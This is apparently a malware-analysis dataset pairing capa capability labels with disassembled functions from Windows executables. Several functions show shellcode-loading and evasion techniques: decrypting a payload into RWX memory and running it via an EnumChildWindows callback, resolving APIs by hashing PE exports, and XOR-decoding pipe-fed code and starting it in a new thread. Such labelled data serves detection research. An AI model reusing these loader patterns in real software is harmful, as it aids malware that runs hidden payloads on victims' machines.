joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140015800
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rsi
push rbx
mov rax, rcx
lea r10, [rdx + 0x10]
mov r8, rcx
movzx r9d, byte [rdx]
add rdx, 4
add r8, 4
mov byte [r8 - 4], r9b
movzx r9d, byte [rdx - 3]
mov byte [r8 - 3], r9b
movzx r9d, byte [rdx - 2]
mov byte [r8 - 2], r9b
movzx r9d, byte [rdx - 1]
mov byte [r8 - 1], r9b
cmp r10, rdx
jne 0x14001580c
movzx r10d, byte [rcx + 0xf]
movzx r9d, byte [rcx + 0xe]
lea r11, str.cw
lea rsi, [0x1400be510]
movzx r8d, byte [rcx + 0xd]
movzx edx, byte [rcx + 0xc]
mov ecx, 4
nop word [rax + rax]
test cl, 3
jne 0x14001589a
movzx r8d, r8b
movzx r9d, r9b
movzx r10d, r10b
movzx edx, dl
movzx ebx, byte [r11 + r8]
movzx r8d, byte [r11 + r9]
movzx r9d, byte [r11 + r10]
movzx r10d, byte [r11 + rdx]
mov edx, ecx
shr edx, 2
xor bl, byte [rsi + rdx]
mov edx, ebx
xor dl, byte [rax]
xor r8b, byte [rax + 1]
add ecx, 1
add rax, 4
xor r9b, byte [rax - 2]
xor r10b, byte [rax - 1]
mov byte [rax + 0xc], dl
mov byte [rax + 0xd], r8b
mov byte [rax + 0xe], r9b
mov byte [rax + 0xf], r10b
cmp ecx, 0x2c
jne 0x140015868
pop rbx
pop rsi
ret
Function at 0x140015d40
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
xor r10d, r10d
lea rsi, [rcx + 4]
mov r8, rcx
mov rdi, rdx
mov r9, rsi
lea rax, [r9 - 4]
lea rdx, [r10 + rdi]
movzx ecx, byte [rdx]
xor byte [rax], cl
add rax, 1
add rdx, 1
cmp rax, r9
jne 0x140015d64
add r10, 4
lea r9, [rax + 4]
cmp r10, 0x10
jne 0x140015d5c
lea r11, [rdi + 0x10]
lea rbp, [rdi + 0xa0]
lea rbx, [r8 + 0x10]
lea r10, [r8 + 0x14]
lea r9, str.cw
nop
mov rcx, rbx
lea rax, [rcx - 0x10]
movzx edx, byte [rax]
add rax, 4
movzx edx, byte [r9 + rdx]
mov byte [rax - 4], dl
cmp rax, rcx
jne 0x140015da7
lea rcx, [rax + 1]
cmp r10, rcx
jne 0x140015da3
movzx edx, byte [r8 + 2]
movzx eax, byte [r8 + 0xd]
movzx ecx, byte [r8 + 0xa]
movzx r12d, byte [r8 + 1]
mov ah, dl
movzx edx, byte [r8 + 5]
movzx r15d, byte [r8 + 9]
mov word [r8 + 9], ax
movzx eax, r12b
mov dh, cl
movzx ecx, byte [r8 + 0xe]
mov word [r8 + 1], dx
movzx edx, byte [r8 + 6]
mov ah, dl
movzx edx, r15b
mov dh, cl
mov word [r8 + 0xd], ax
movzx eax, byte [r8 + 3]
mov word [r8 + 5], dx
movzx edx, byte [r8 + 0xf]
mov byte [r8 + 3], dl
movzx edx, byte [r8 + 0xb]
mov byte [r8 + 0xf], dl
movzx edx, byte [r8 + 7]
mov byte [r8 + 7], al
mov byte [r8 + 0xb], dl
cmp r11, rbp
je 0x140015f23
mov rax, r8
movzx edx, byte [rax]
movzx r14d, byte [rax + 1]
add rax, 4
movzx r13d, byte [rax - 2]
xor r13b, byte [rax - 1]
xor r14d, edx
mov r15d, edx
xor dl, byte [rax - 1]
mov ecx, r14d
mov r12d, r14d
add r14d, r14d
shr cl, 7
xor r12d, r13d
lea ecx, [rcx + rcx*2]
xor r15d, r12d
lea ecx, [rcx + rcx*8]
xor ecx, r15d
movzx r15d, byte [rax - 3]
xor r14d, ecx
mov byte [rax - 4], r14b
movzx r14d, byte [rax - 3]
xor r15d, r12d
xor r14b, byte [rax - 2]
mov ecx, r14d
add r14d, r14d
shr cl, 7
lea ecx, [rcx + rcx*2]
lea ecx, [rcx + rcx*8]
xor ecx, r15d
xor r14d, ecx
mov ecx, r13d
add r13d, r13d
mov byte [rax - 3], r14b
shr cl, 7
movzx r14d, byte [rax - 2]
lea ecx, [rcx + rcx*2]
xor r14d, r12d
lea ecx, [rcx + rcx*8]
xor r12b, byte [rax - 1]
xor ecx, r14d
xor r13d, ecx
mov ecx, edx
add edx, edx
shr cl, 7
mov byte [rax - 2], r13b
lea ecx, [rcx + rcx*2]
lea ecx, [rcx + rcx*8]
xor ecx, r12d
xor edx, ecx
mov byte [rax - 1], dl
cmp rax, rbx
jne 0x140015e40
mov r12, rsi
mov r13, r11
lea rax, [r12 - 4]
mov rdx, r13
movzx ecx, byte [rdx]
xor byte [rax], cl
add rax, 1
add rdx, 1
cmp rax, r12
jne 0x140015efb
lea r12, [rax + 4]
add r13, 4
cmp r10, r12
jne 0x140015ef3
add r11, 0x10
jmp 0x140015da0
add rdi, 0xb0
lea rax, [rsi - 4]
mov rdx, r11
movzx ecx, byte [rdx]
xor byte [rax], cl
add rax, 1
add rdx, 1
cmp rsi, rax
jne 0x140015f31
add r11, 4
add rsi, 4
cmp rdi, r11
jne 0x140015f2a
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140078a40
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x140078a88
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x140078a5a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400b3310
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b7f80]
jmp 0x14000c100

Function at 0x1400b3320
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400b7f80]
jmp 0x14000c100

Function at 0x1400b37d0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x220
lea rsi, [0x1400b8008]
call fcn.14000a5e0
mov ecx, 0x22
mov edx, 0x39
lea rdi, [rsp + 0x100]
rep movsq qword [rdi], qword [rsi]
mov ecx, 0x39
mov word [rsp + 0x34], dx
mov word [rsp + 0x3e], cx
mov ecx, 0x113
movzx eax, word [rsi]
lea rsi, [rsp + 0x100]
mov word [rdi], ax
movzx eax, byte [0x1400b811a]
mov byte [rdi + 2], al
movabs rax, 0x3837363534333231
mov qword [rsp + 0x2c], rax
mov qword [rsp + 0x36], rax
call fcn.1400b2e90
lea rdx, [rsp + 0x2c]
mov rbp, rax
mov rax, qword [rsp + 0x100]
lea r12, [rbp + 0x11b]
lea rdi, [rbp + 8]
mov rbx, rbp
mov qword [rbp], rax
mov rax, qword [rsp + 0x20b]
and rdi, 0xfffffffffffffff8
mov qword [r12 - 0x10], rax
mov rax, rbp
sub rax, rdi
sub rsi, rax
add eax, 0x113
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
lea rsi, [rsp + 0x40]
lea rdi, [rbp + 0x120]
mov rcx, rsi
call fcn.140015800
movdqu xmm1, xmmword [rsp + 0x36]
movups xmmword [rsp + 0xf0], xmm1
nop
mov rcx, rbx
mov rdx, rsi
movdqu xmm2, xmmword [rbx]
add rbx, 0x10
call fcn.140015f60
movdqu xmm0, xmmword [rbx - 0x10]
pxor xmm0, xmmword [rsp + 0xf0]
movups xmmword [rsp + 0xf0], xmm2
movups xmmword [rbx - 0x10], xmm0
cmp rdi, rbx
jne 0x1400b38b0
lea rcx, section..rdata
mov rsi, rbp
call fcn.140015790
call sub.msvcrt.dll__getch
mov r9d, 0x40
xor ecx, ecx
mov r8d, 0x3000
mov edx, 0x113
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, qword [rbp]
xor r8d, r8d
lea rdi, [rax + 8]
mov qword [rax], rdx
mov rdx, qword [r12 - 0x10]
and rdi, 0xfffffffffffffff8
mov qword [rax + 0x10b], rdx
mov rdx, rax
sub rdx, rdi
sub rsi, rdx
add edx, 0x113
shr edx, 3
mov ecx, edx
mov rdx, rax
rep movsq qword [rdi], qword [rsi]
call qword [sym.imp.USER32.dll_EnumChildWindows]
xor eax, eax
add rsp, 0x220
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140001000
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140001097
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140001097
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x6ca8b3bb
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140001092
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140001070
cmp r8d, 0x91cbcaf6
je 0x14000109c
test r9d, r9d
jne 0x140001050
mov rax, qword [rax]
jmp 0x140001020
mov ecx, dword [rbx + 0x24]
add rcx, r10
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
movzx edx, word [rcx + r9*2]
xor r9d, r9d
mov ecx, dword [rbx + 0x1c]
add rcx, r10
lea r8d, [r9 + 3]
mov eax, dword [rcx + rdx*4]
mov edx, 0xc0000000
add rax, r10
lea rcx, str.File.txt
call rax
cmp rax, 0xffffffffffffffff
jne 0x1400010fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rbx, qword [rsp + 0x50]
xor eax, eax
add rsp, 0x40
pop rdi
ret

Function at 0x1400019e8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a32
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a32
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a32
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a32
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a32
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a34
xor al, al
add rsp, 0x28
ret
Function at 0x2fbac13a5
Capabilities:
Create thread

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rbx, qword [sym.imp.KERNEL32.dll_GetTickCount]
xor edi, edi
movsxd rax, edx
mov r12, rcx
mov r13, r8
mov rbp, rax
mov qword [rsp + 0x38], rax
call rbx
mov r9d, 4
mov r8d, 0x3000
xor ecx, ecx
movsxd rdx, ebp
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call rbx
call rbx
call rbx
cmp ebp, edi
jle 0x2fbac1418
call rbx
call rbx
mov r14b, byte [r12 + rdi]
call rbx
mov rax, rdi
and eax, 7
mov r15b, byte [r13 + rax]
call rbx
xor r14d, r15d
mov byte [rsi + rdi], r14b
inc rdi
jmp 0x2fbac13f1
mov rcx, rsi
lea r9, [rsp + 0x4c]
mov r8d, 0x20
call fcn.2fbac1373
mov rdx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
xor edx, edx
mov r9, rsi
mov dword [rsp + 0x20], edx
lea r8, [0x2fbac1370]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
nop
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x2fbac14a0
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r8d, r8d
mov r9d, 1
mov rdi, rcx
mov esi, edx
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x4c], edx
mov edx, 2
mov qword [rsp + 0x38], rcx
lea rcx, [0x2fbb17020]
mov dword [rsp + 0x30], r8d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], r8d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rbx, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x2fbac153f
xor edx, edx
mov rcx, rbx
lea rbp, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x2fbac153f
test esi, esi
jle 0x2fbac1529
xor eax, eax
mov r9, rbp
mov r8d, esi
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x2fbac1534
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x2fbac153f
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub esi, edx
jmp 0x2fbac1508
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x2fbac1566
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov rdi, rcx
mov ebx, edx
xor ecx, ecx
xor edx, edx
mov dword [rsp + 0x4c], edx
mov edx, 0x80000000
lea rbp, [rsp + 0x4c]
mov qword [rsp + 0x30], rcx
lea rcx, [0x2fbb17020]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
xor eax, eax
cmp rsi, 0xffffffffffffffff
je 0x2fbac15f7
test ebx, ebx
jle 0x2fbac15dc
xor eax, eax
mov r9, rbp
mov r8d, ebx
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x2fbac15ec
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x2fbac15f7
mov edx, dword [rsp + 0x4c]
add rdi, rdx
sub ebx, edx
jmp 0x2fbac15bb
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x2fbac1658
Capabilities:
Create thread

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, qword [0x2fbb14650]
movsxd rcx, dword [rsi + 4]
call sub.msvcrt.dll_malloc
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, rax
mov ecx, 0x400
call rdi
mov edx, dword [rsi + 4]
mov rcx, rbx
call fcn.2fbac1566
test eax, eax
je 0x2fbac1621
mov edx, dword [rsi + 4]
lea r8, [rsi + 8]
mov rcx, rbx
call fcn.2fbac13a5
mov rcx, rbx
call sub.msvcrt.dll_free
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
sub rsp, 0x68
mov r9d, 0x5c
mov r8d, 0x5c
lea rdx, str._c_c_c_c_c_c_c_c_cpetro_rules
lea rcx, [0x2fbb17020]
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
call fcn.2fbac1470
xor eax, eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edx
xor r9d, r9d
lea r8, [0x2fbac1548]
xor edx, edx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x2fbac1600

Function at 0x2fbac16f7
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x2fbac1727
xor edx, edx
xor eax, eax
mov qword [0x2fbb17060], rcx
xor r9d, r9d
mov dword [rsp + 0x20], edx
lea r8, [0x2fbac16e0]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret

Function at 0x2fbac1910
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.2fbac7380
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.2fbac7380
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x2fbac1980
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x2fbb170b4]
mov rbx, rcx
test esi, esi
jle 0x2fbac1ab0
mov rax, qword [0x2fbb170b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x2fbac19cb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x2fbac1a55
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x2fbac19b0
mov rcx, rbx
call fcn.2fbac21e0
mov rdi, rax
test rax, rax
je 0x2fbac1ad2
mov rax, qword [0x2fbb170b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.2fbac2320
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x2fbb170b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2fbac1ab7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x2fbac1a4e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x2fbac1a60
add dword [0x2fbb170b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x2fbb170b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2fbac1a4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.2fbac1910
nop dword [rax]
xor esi, esi
jmp 0x2fbac19d8
mov rax, qword [0x2fbb170b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.2fbac1910
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.2fbac1910
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x2fbac1e50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x2fbb170e0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x2fbb170c0]
test rbx, rbx
je 0x2fbac1eac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x2fbac1ea3
test rsi, rsi
je 0x2fbac1ea3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x2fbac1e88
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x2fbac21e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2fbb145b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2fbac2200
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2fbac2208
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2fbac2200
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x2fbac225d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x2fbac2254
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x2fbac2200
add rax, 0x28
cmp rax, r9
jne 0x2fbac2240
xor eax, eax
ret

Function at 0x2fbac2260
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2fbb145b0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x2fbac227f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x2fbac2288
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x2fbac227f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x2fbac2320
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2fbb145b0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x2fbac233f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x2fbac2348
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400025d0
Capabilities:
Accept command line arguments

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
movaps xmmword [rsp + 0x90], xmm6
mov rdi, rdx
mov qword [rsp + 0x78], rcx
mov dword [rsp + 0x4c], 0
call sub.KERNEL32.dll_GetCommandLineW
lea rdx, [rsp + 0x4c]
mov rcx, rax
call sub.SHELL32.dll_CommandLineToArgvW
mov rbx, rax
movsxd rcx, dword [rsp + 0x4c]
xorps xmm6, xmm6
movaps xmmword [rsp + 0x60], xmm6
mov qword [rsp + 0x20], rdi
lea r8, str.c:_odin_core_os_os_windows.odin
lea r9, [rsp + 0x60]
mov rdx, rdi
call fcn.14004e030
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x88], rsi
test rsi, rsi
jle 0x14000270d
add rbp, 8
nop dword [rax]
mov r12, qword [rbx]
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov ecx, 0xfde9
xor edx, edx
mov r8, r12
mov r9d, 0xffffffff
call sub.KERNEL32.dll_WideCharToMultiByte
movsxd r13, eax
movaps xmmword [rsp + 0x50], xmm6
mov qword [rsp + 0x20], rdi
mov rcx, r13
mov rdx, rdi
lea r8, str.c:_odin_core_os_os_windows.odin
lea r9, [rsp + 0x50]
call fcn.14004c420
mov r15, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r15
mov ecx, 0xfde9
xor edx, edx
mov r8, r12
mov r9d, 0xffffffff
call sub.KERNEL32.dll_WideCharToMultiByte
xor ecx, ecx
test eax, eax
setg cl
sub eax, ecx
cdqe
test eax, eax
js 0x140002745
cmp r14, rax
jl 0x140002745
mov qword [rbp - 8], r15
mov qword [rbp], rax
add rbx, 8
add rbp, 0x10
dec rsi
jne 0x140002660
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x78]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x88]
mov qword [rax + 8], rcx
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
lea rcx, str.c:_odin_core_os_os_windows.odin
mov edx, 0xa0
mov r8d, 0x1b
xor r9d, r9d
call fcn.140004310
int3

Function at 0x140002770
Capabilities:
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
add rax, rdx
movzx edx, byte [rcx]
xor rdx, rax
movabs rax, 0x100000001b3
imul rdx, rax
movzx r8d, byte [rcx + 1]
xor r8, rdx
imul r8, rax
movzx edx, byte [rcx + 2]
xor rdx, r8
imul rdx, rax
movzx r8d, byte [rcx + 3]
xor r8, rdx
imul r8, rax
movzx edx, byte [rcx + 4]
xor rdx, r8
imul rdx, rax
movzx r8d, byte [rcx + 5]
xor r8, rdx
imul r8, rax
movzx edx, byte [rcx + 6]
xor rdx, r8
imul rdx, rax
movzx ecx, byte [rcx + 7]
xor rcx, rdx
imul rcx, rax
movabs rdx, 0x7fffffffffffffff
xor eax, eax
and rdx, rcx
sete al
or rax, rdx
ret
Function at 0x140002830
Capabilities:
Hash data using fnv

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rbx, r9
mov rdi, r8
mov r14, rdx
mov rsi, rcx
mov rax, qword [rcx]
mov r8, qword [rcx + 8]
test r8, r8
je 0x1400028f2
mov ecx, eax
and ecx, 0x3f
mov edx, 1
shl rdx, cl
test rax, rax
cmove rdx, rax
lea r11, [rdx - 1]
mov r10, r11
and r10, r14
and rax, 0xffffffffffffffc0
lea r9, [rax + rdx*8]
lea r15, [r9 + rdx*8]
mov rbp, qword [r15 + r10*8]
test rbp, rbp
je 0x1400028ff
mov qword [rsp + 0x40], rbx
mov r12, qword [rdi]
sub rdx, r10
mov r13, 0xffffffffffffffff
jmp 0x1400028bf
inc r10
and r10, r11
mov rbp, qword [r15 + r10*8]
test rbp, rbp
je 0x1400028fa
lea rbx, [rdx + r10]
and rbx, r11
inc r13
cmp r13, rbx
ja 0x1400028fa
cmp rbp, r14
jne 0x1400028b0
cmp qword [rax + r10*8], r12
jne 0x1400028b0
shl r10, 3
add r9, r10
mov rbx, qword [rsp + 0x40]
je 0x1400028ff
mov rax, qword [rbx]
mov qword [r9], rax
jmp 0x140002a88
and eax, 0x3f
mov rcx, rax
jmp 0x1400028ff
mov rbx, qword [rsp + 0x40]
mov eax, 0x4b
shl rax, cl
shr rax, 2
movabs rdx, 0x28f5c28f5c28f5c3
mul rdx
mov r15, qword [rsp + 0xb8]
shr rdx, 2
cmp r8, rdx
jae 0x140002937
mov word [rsp + 0x3e], 0
lea rax, [rsp + 0x3e]
jmp 0x14000297c
mov r9, qword [rsp + 0xb0]
cmp rcx, 3
mov eax, 2
cmovb rcx, rax
shl rax, cl
xor r8d, r8d
cmp rcx, 0x3f
cmovne r8, rax
mov qword [rsp + 0x20], r15
lea rdx, [0x140088370]
mov rcx, rsi
call fcn.1400049d0
mov byte [rsp + 0x3c], al
mov byte [rsp + 0x3d], 1
lea rax, [rsp + 0x3c]
movzx eax, word [rax]
test al, al
jne 0x140002a88
test eax, 0x100
je 0x140002a65
mov rax, qword [rsi]
and rax, 0xffffffffffffffc0
movabs rcx, 0x9e3779b97f4a7c15
add rcx, rax
mov rax, rcx
shr rax, 0x1e
xor rax, rcx
movabs rcx, 0xbf58476d1ce4e5b9
imul rcx, rax
mov rax, rcx
shr rax, 0x1b
xor rax, rcx
movabs rcx, 0x94d049bb133111eb
imul rcx, rax
mov rax, rcx
shr rax, 0x1f
xor rax, rcx
movabs rcx, 0xcbf29ce484222325
add rcx, rax
movzx edx, byte [rdi]
xor rdx, rcx
movabs rax, 0x100000001b3
imul rdx, rax
movzx ecx, byte [rdi + 1]
xor rcx, rdx
imul rcx, rax
movzx edx, byte [rdi + 2]
xor rdx, rcx
imul rdx, rax
movzx ecx, byte [rdi + 3]
xor rcx, rdx
imul rcx, rax
movzx edx, byte [rdi + 4]
xor rdx, rcx
imul rdx, rax
movzx ecx, byte [rdi + 5]
xor rcx, rdx
imul rcx, rax
movzx edx, byte [rdi + 6]
xor rdx, rcx
imul rdx, rax
movzx ecx, byte [rdi + 7]
xor rcx, rdx
imul rcx, rax
movabs rax, 0x7fffffffffffffff
xor r14d, r14d
and rax, rcx
sete r14b
